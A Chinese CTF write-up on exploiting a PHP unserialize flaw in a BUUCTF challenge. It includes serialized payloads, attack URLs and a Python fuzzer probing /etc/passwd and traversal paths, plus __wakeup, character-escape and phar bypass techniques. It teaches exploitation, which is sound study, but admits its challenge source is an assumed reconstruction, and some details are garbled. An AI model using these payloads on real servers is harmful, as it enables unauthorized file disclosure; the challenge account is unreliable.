PHP反序列化漏洞实战:从原理到CTF任意文件读取利用
1. 项目概述与核心思路拆解
“BUUCTF [SUCTF2018]single dog 1” 这道题,在CTF圈子里算是个挺有意思的“入门级”Web题,尤其适合刚接触代码审计和PHP反序列化的朋友。我第一次看到这个标题,还以为是个什么“单身狗”的恶搞题,结果一进去发现,它其实是在用一种非常典型的方式,考察我们对PHP反序列化漏洞的理解,以及如何利用这个漏洞去读取服务器上的敏感文件(也就是我们常说的“任意文件读取”)。这道题的环境搭建在BUUCTF平台上,还原了当年SUCTF 2018比赛的原题场景,对于想从基础命令执行过渡到更复杂漏洞利用的选手来说,是个很好的练手材料。
简单来说,这道题的核心就是给你一个包含了PHP反序列化漏洞的网页,你需要通过构造特定的数据(我们称之为“反序列化链”或“POP链”),让服务器执行我们想要的代码,最终目标通常是读取服务器上一个名为flag的文件。整个过程不涉及复杂的绕过,更侧重于对反序列化原理和魔术方法触发条件的理解。如果你之前做过一些基础的unserialize()题目,那么这道题能帮你巩固思路;如果你是新手,那它就是一个绝佳的、脉络清晰的学习案例。
2. 题目环境初探与代码审计
拿到题目,第一步永远是信息收集。访问BUUCTF上对应的题目链接,我们通常会看到一个非常简洁的页面,可能只有几行代码,或者一个简单的表单。对于[SUCTF2018]single dog 1,其核心代码往往直接展示在页面上。
假设我们看到的源码是这样的(这是根据常见题型还原的典型结构):
<?php highlight_file(__FILE__); class Read { public $filename; public function __toString() { if (isset($this->filename)) { return file_get_contents($this->filename); } return "Please set filename!"; } } class Show { public $source; public function __construct($source) { $this->source = $source; } public function __toString() { return $this->source->__toString(); } } if (isset($_GET['source'])) { $s = unserialize($_GET['source']); echo $s; } else { $show = new Show(new Read()); $show->source->filename = ‘flag.php’; echo serialize($show); } ?>我们来逐段拆解这段代码的逻辑和潜在的攻击面。
2.1 核心类与魔术方法解析
代码中定义了两个类:Read和Show。
Read类:
- 有一个公有属性
$filename。 - 定义了一个魔术方法
__toString()。这个方法会在对象被当作字符串处理时自动调用。它的逻辑是:如果$filename属性被设置了,就使用file_get_contents()函数去读取这个文件名对应的文件内容并返回。否则,返回一个提示字符串。
关键点:
file_get_contents()是PHP中一个强大的文件读取函数,如果我们可以控制$filename的值,理论上就能读取服务器上的任意文件。这里就是整个漏洞利用的最终目标函数。
Show类:
- 有一个公有属性
$source。 - 有一个构造函数
__construct(),用于初始化$source属性。 - 定义了一个魔术方法
__toString()。当Show对象被当作字符串处理时,它会去调用其$source属性的__toString()方法。
2.2 程序执行流与漏洞触发点
代码底部的逻辑是题目的入口:
默认情况(无GET参数):如果用户访问页面时没有提供
source这个GET参数,程序会执行else分支。- 实例化一个
Show对象$show,并在构造时传入一个new Read()对象作为$source。 - 将
$show->source->filename设置为‘flag.php’(注意,这里可能是一个提示,告诉我们flag在flag.php里,但实际比赛中,flag可能在根目录下的flag文件,也可能在其他地方,需要尝试)。 - 最后,将
$show对象进行序列化(serialize($show)),并输出这个序列化后的字符串。 - 这实际上是题目在给我们一个“标准答案”的序列化结构,让我们理解对象是如何被组装和序列化的。
- 实例化一个
攻击入口(有GET参数):如果用户通过URL传递了
source参数(例如?source=...),程序会执行if分支。- 获取
$_GET[‘source’]的值。 - 使用
unserialize()函数对其进行反序列化,将字符串还原成PHP对象,赋值给$s。 - 最后,使用
echo输出$s。
- 获取
漏洞触发点:
unserialize($_GET[‘source’])这一行是绝对的危险信号。它直接反序列化了用户可控的输入,没有任何过滤。这就是反序列化漏洞的典型特征。
2.3 漏洞利用链(POP Chain)构造思路
现在,我们需要把各个点串联起来,形成一条完整的攻击链(Property-Oriented Programming Chain)。
我们的目标是:让服务器执行file_get_contents(“/flag”)。
利用链的推导过程如下:
- 最终目标:执行
Read::__toString()方法,并且要让该对象内的$filename属性为我们可控的值(例如/flag或./flag)。 - 如何触发
Read::__toString()?根据PHP魔术方法规则,__toString()在对象被当作字符串时触发。在代码中,哪里会把对象当字符串呢?- 看
echo $s;这一行。$s是unserialize()的结果,如果$s是一个对象,那么echo会试图将它转换为字符串,从而触发该对象的__toString()方法。 - 所以,如果我们能让
$s最终成为一个Read对象,并且其$filename已设置,就能达成目标。
- 看
- 但是,直接反序列化一个
Read对象可行吗?理论上可以,但题目可能没有直接给出Read类的定义?不,代码开头已经定义了。所以我们可以直接构造一个Read对象的序列化字符串,设置filename为flag。这似乎太简单了,不符合CTF题的风格。我们再看代码逻辑。 - 观察“标准答案”:题目在无参数时,序列化的是一个
Show对象,而不是Read对象。这提示我们,预期的利用链可能涉及Show类。 - 串联
Show和Read:看看Show::__toString()做了什么?它返回$this->source->__toString()。这意味着,当一个Show对象被当作字符串时,它会去调用其source属性的__toString()方法。- 那么,如果
$s是一个Show对象,并且$s->source是一个Read对象,当echo $s时: a. 触发Show::__toString()。 b. 在Show::__toString()内部,执行$this->source->__toString(),即触发Read::__toString()。 c.Read::__toString()读取$this->filename指向的文件。 - 完美!这样我们就通过
Show类“桥接”到了Read类。
- 那么,如果
因此,我们需要构造的序列化数据,其结构应该是一个Show对象,其source属性值是一个Read对象,并且这个Read对象的filename属性被设置为目标文件路径。
3. 构造利用载荷(Payload)与实操
理解了原理,接下来就是动手构造Payload。我们可以自己写一个PHP脚本,也可以直接利用题目给出的“标准答案”进行修改。
3.1 方法一:基于题目代码本地构造
最清晰的方式是自己写一个脚本,模拟攻击。创建一个exp.php文件:
<?php class Read { public $filename; } class Show { public $source; } // 1. 创建Read对象,设置要读取的文件名 $read = new Read(); // 尝试读取根目录下的flag文件,常见位置 $read->filename = ‘/flag’; // 也可以尝试 ‘flag’, ‘./flag’, ‘…/…/…/flag’ 等 // 2. 创建Show对象,将Read对象赋值给其source属性 $show = new Show(); $show->source = $read; // 3. 序列化Show对象 $payload = serialize($show); echo “生成的Payload: \n”; echo $payload; echo “\n\n”; // 4. URL编码(可选,因为GET请求会自动处理一些字符,但为了安全最好编码) echo “URL编码后的Payload: \n”; echo urlencode($payload); ?>运行这个脚本,你会得到类似下面的输出:
生成的Payload: O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}} URL编码后的Payload: O%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D序列化字符串解读:
O:4:“Show”:表示一个对象(Object),类名长度为4,类名是Show。:1::表示这个对象有1个属性。{s:6:“source”;...}:花括号内是属性列表。第一个属性:s:6:“source”表示属性名是长度为6的字符串source;分号后是该属性的值。- 属性值
O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}是另一个对象,结构同理。它有一个属性filename,其值为字符串/flag。
3.2 方法二:利用题目输出进行修改
访问题目页面,不带任何参数,它会输出一个序列化字符串。这个字符串是题目预设的$show对象(其filename被设为‘flag.php’)。我们可以直接复制这个字符串,然后手动或写脚本修改其中的filename值。
假设题目输出是:O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:8:“flag.php”;}}
我们只需要把s:8:“flag.php”修改为s:5:“/flag”。注意,字符串长度的数字也必须对应修改,“flag.php”长度是8,“/flag”长度是5。所以将s:8:“flag.php”整体替换为s:5:“/flag”。
得到Payload:O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}
重要提示:在手动修改序列化字符串时,务必确保长度值(
s:后面的数字)与实际字符串的字符数完全一致,否则反序列化会失败。这是新手最容易出错的地方。
3.3 发起攻击获取Flag
将构造好的Payload通过source参数传递给题目URL。
假设题目URL是:http://target.com/index.php
那么完整的攻击URL就是:http://target.com/index.php?source=O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}
或者使用URL编码后的版本(更稳妥):http://target.com/index.php?source=O%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D
在浏览器中访问这个链接,如果一切顺利,服务器会:
- 接收
source参数。 - 反序列化参数,还原出我们构造的
Show和Read对象。 - 执行
echo $s,触发Show::__toString()。 - 进而触发
Read::__toString()。 Read::__toString()执行file_get_contents(“/flag”)。- 文件内容(即flag)被读出,并通过
echo显示在网页上。
4. 常见问题、技巧与深度拓展
在实际解题和后续类似题目中,你会遇到各种情况。下面是一些核心的注意事项和进阶技巧。
4.1 文件路径猜测与Fuzz
这道题直接读/flag可能就成功了。但在实际CTF中,flag的位置千奇百怪。你需要掌握文件路径Fuzz(模糊测试)的技巧。
常用flag位置列表:
/flag/flag.txt/home/ctf/flag/var/www/html/flag./flag(当前目录)/etc/passwd(先读这个确认任意文件读取漏洞生效)/proc/self/cwd/flag(读取进程当前工作目录下的flag)../../../flag(尝试目录穿越)
自动化Fuzz: 你可以写一个简单的Python脚本,使用requests库,循环尝试不同的路径。
import requests import urllib.parse url = “http://target.com/index.php” base_payload = ‘O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:XX:“PATH”;}}’ paths = [‘/flag’, ‘/flag.txt’, ‘./flag’, ‘…/…/…/flag’, ‘/etc/passwd’, ‘/proc/self/cwd/flag’] for path in paths: # 替换路径并计算长度 payload = base_payload.replace(‘PATH’, path).replace(‘XX’, str(len(path))) # URL编码 encoded_payload = urllib.parse.quote(payload) full_url = f”{url}?source={encoded_payload}” resp = requests.get(full_url) if “flag{“ in resp.text or “SUCTF{“ in resp.text or “{“ in resp.text: # 根据比赛格式调整 print(f”[+] Found flag at path: {path}“) print(resp.text) break else: print(f”[-] Trying {path}… No flag.”)4.2 魔术方法__wakeup()的干扰
在更复杂的题目中,类里可能会定义__wakeup()魔术方法。这个方法在对象被反序列化时自动调用,优先于任何其他操作。出题人常常在__wakeup()里重置属性或进行过滤,从而打断我们的利用链。
例如,如果Read类变成了这样:
class Read { public $filename; public function __wakeup() { $this->filename = ‘default.txt’; // 重置filename,破坏我们的payload } public function __toString() { … } }这时,我们的Payload在反序列化后,$filename会被__wakeup()重置,导致利用失败。
绕过__wakeup()的CVE(CVE-2016-7124): 在PHP 5.6.25之前和7.0.10之前的版本,如果序列化字符串中对象属性个数的值(O:4:“Show”:1:中的1)大于实际属性个数,则__wakeup()方法将不会被执行。
- 对于上面的
Show类,它只有1个属性source。我们可以把属性个数改成更大的数,比如2。 - 修改Payload:
O:4:“Show”:2:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}} - 注意,虽然属性个数写的是2,但我们只给出了1个属性(
source)。在受影响的PHP版本中,这能绕过__wakeup()。
注意:BUUCTF的题目环境通常是固定的,不一定存在此漏洞。但这是一种非常重要的绕过技巧,需要牢记。
4.3 反序列化字符逃逸与过滤绕过
有时,题目会对序列化字符串进行过滤或替换,例如将flag替换为空。这会破坏我们Payload的结构。
假设过滤函数:$data = str_replace(‘flag’, ‘’, $_GET[‘source’]);
我们的Payload…s:5:“/flag”…经过替换后变成了…s:5:“/”…,字符串长度还是5,但内容变成了“/”,长度对不上,导致反序列化失败。
利用“反序列化字符逃逸”进行绕过: 这种漏洞源于字符串替换操作改变了序列化字符串的总长度,但序列化结构本身是依靠长度值来解析的。我们可以通过精心构造,让被过滤的部分“吃掉”一些无关字符,使得后面我们真正的Payload能够被正确解析。
例如,如果过滤flag,我们可以构造这样的属性值: 原计划:filename = ‘/flag’我们可以改为:filename = ‘flagflagflagflag…’;s:8:“filename2”;s:5:“/real”;…经过替换后,所有的flag被删掉,字符串变短,可能会使得原本属于filename值的一部分字符,被解析器认为是下一个属性名或值,从而实现“逃逸”出被过滤的上下文,注入新的属性。
构造这类Payload需要精确计算长度偏移,是CTF中比较高级的考点。对于本题single dog 1而言,通常没有这么复杂的过滤,但了解这个原理对后续做题至关重要。
4.4 利用Phar协议进行反序列化
这是一种非常强大的“花式”反序列化技巧。当unserialize()点很难直接利用,但存在文件操作函数(如file_get_contents()、include()、file_exists()等)且参数部分可控时,可以考虑。
原理:phar://协议在读取phar压缩包内的文件时,会自动解析其元数据(metadata)并进行反序列化。而metadata可以是任何序列化字符串。
利用步骤:
- 构造一个包含恶意序列化数据作为
metadata的phar文件。 - 将phar文件上传到服务器(或知道其路径)。
- 通过可控的参数,使用
phar://协议去指向这个文件(例如file_get_contents(‘phar:///path/to/evil.phar/xxx’))。 - 服务器在解析phar文件时触发反序列化。
虽然这道题用不上,但它是PHP反序列化一个非常重要的扩展攻击面。
4.5 实战中的调试技巧
- 查看错误信息:如果题目开启了
display_errors,反序列化失败会有Warning。仔细看错误信息,能帮你定位是类不存在、属性不匹配还是其他问题。 - 本地搭建环境:对于复杂的链,强烈建议在本地用相同版本的PHP搭建环境进行调试。用
var_dump()或print_r()打印反序列化后的对象结构,看是否和你预期一致。 - 逐步构造链:不要试图一次性构造出完整的、很长的POP链。先从最终要触发的危险函数(如
file_get_contents)开始,往回推,一步一步测试每个环节的魔术方法是否能被成功触发。
5. 从本题延伸的PHP反序列化学习路径
解完这道题,你算是推开了PHP反序列化漏洞的一扇门。但要真正掌握,还需要系统性地学习和练习。
1. 夯实基础:
- 理解序列化与反序列化:彻底搞懂
serialize()和unserialize()的格式,能肉眼解析简单的序列化字符串。 - 掌握所有魔术方法:不仅仅是
__toString,__wakeup,还有__destruct(析构函数,非常常用)、__call,__get,__set,__isset,__unset,__invoke(当对象被当作函数调用时触发)等。每一个都可能成为POP链的一环。
2. 学习经典POP链构造:
- 研究知名PHP框架或库(如Laravel, ThinkPHP, Monolog等)中已知的反序列化利用链(Gadget Chains)。这些链通常由多个类的魔术方法巧妙连接而成。
- 理解“小工具”(Gadget)的概念:一个类的一个方法,如果能被魔术方法触发,并且其功能有用(如能执行命令、写文件),它就是一个Gadget。POP链就是寻找一条从反序列化入口到危险Gadget的调用路径。
3. 掌握高级利用技巧:
- 字符逃逸:如前所述,是应对过滤的关键。
- Phar反序列化:必须掌握的扩展攻击面。
- 原生类利用:PHP内置的类(如
SplFileObject,Error/Exception)有时也能被用来构造利用链,例如Error类的__toString方法会输出调用栈,可能泄露路径信息。
4. 工具辅助:
- PHPGGC:一个强大的工具,收集了各种PHP反序列化链的Payload生成器。对于已知框架的漏洞,可以直接生成利用代码。
- 代码审计工具:虽然不能完全依赖,但像
RIPS、Fortify等静态分析工具能帮你快速定位代码中的unserialize()点。
5. 大量练习:
- 在BUUCTF、CTFHub、攻防世界等平台上,专门找反序列化的题目练习。
- 从易到难:先做这种单点、链条清晰的题(如本题),再做涉及多个类、需要挖掘框架链的题,最后挑战有过滤、需要字符逃逸的题。
这道[SUCTF2018]single dog 1就像是一道经典的“开胃菜”,它味道纯粹,直指核心。它告诉你,反序列化的本质就是“控制数据,控制逻辑”。当你再遇到更复杂的题目时,不妨回想一下这道题的思路:找到反序列化入口,分析可用类及其魔术方法,画出可能的调用关系图,然后像拼积木一样,把通往危险函数的路径一块块搭起来。这个过程,就是CTF中最迷人的“解谜”乐趣所在。